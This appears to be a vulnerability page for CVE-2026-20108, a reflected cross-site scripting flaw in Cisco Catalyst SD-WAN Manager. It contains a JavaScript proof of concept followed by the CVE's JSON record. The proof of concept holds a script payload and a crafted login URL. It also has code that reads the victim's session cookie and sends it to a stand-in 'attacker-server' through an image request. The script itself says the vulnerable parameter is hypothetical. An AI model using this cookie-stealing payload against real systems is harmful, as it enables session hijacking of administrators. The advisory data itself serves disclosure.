CVE-2026-20108

// Proof of Concept: Reflected XSS in Cisco Catalyst SD-WAN Manager // Description: This script demonstrates how an attacker might steal cookies via a crafted link. // Usage: Attacker sends the link to a victim; upon clicking, the script executes in the victim's browser context. // Step 1: Prepare the malicious payload var maliciousPayload = "<script>alert('XSS')<\/script>"; // Step 2: Construct the attack URL (Endpoint is hypothetical as specific parameter is not disclosed) // Example: https://[target-ip]/vmanage/ui/login?token=<script>alert(document.cookie)<\/script> // The actual vulnerable parameter would be identified through further analysis. // Step 3: Simulate exploitation logic (JavaScript to be executed on the client side) (function() { // Capture sensitive information var sessionCookie = document.cookie; console.log("Stolen Cookie: " + sessionCookie); // Exfiltrate data to attacker controlled server var exfilUrl = "http://attacker-server/log?c=" + encodeURIComponent(sessionCookie); var img = new Image(); img.src = exfilUrl; })();

{"cve": {"id": "CVE-2026-20108", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:14.420", "lastModified": "2026-03-26T15:13:15.790", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco Catalyst SD-WAN Manager could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface of an affected device.\r\n\r This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of the web-based management interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information."}, {"lang": "es", "value": "Una vulnerabilidad en la interfaz de gestión basada en web de Cisco Catalyst SD-WAN Manager podría permitir a un atacante remoto autenticado realizar un ataque de cross-site scripting (XSS) contra un usuario de la interfaz de un dispositivo afectado. Esta vulnerabilidad se debe a una validación insuficiente de la entrada del usuario. Un atacante podría explotar esta vulnerabilidad persuadiendo a un usuario de la interfaz de gestión basada en web para que haga clic en un enlace manipulado. Un exploit exitoso podría permitir al atacante ejecutar código de script arbitrario en el contexto de la interfaz afectada o acceder a información sensible basada en el navegador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-xss-ZqkhP9W9", "source": "[email protected]"}]}}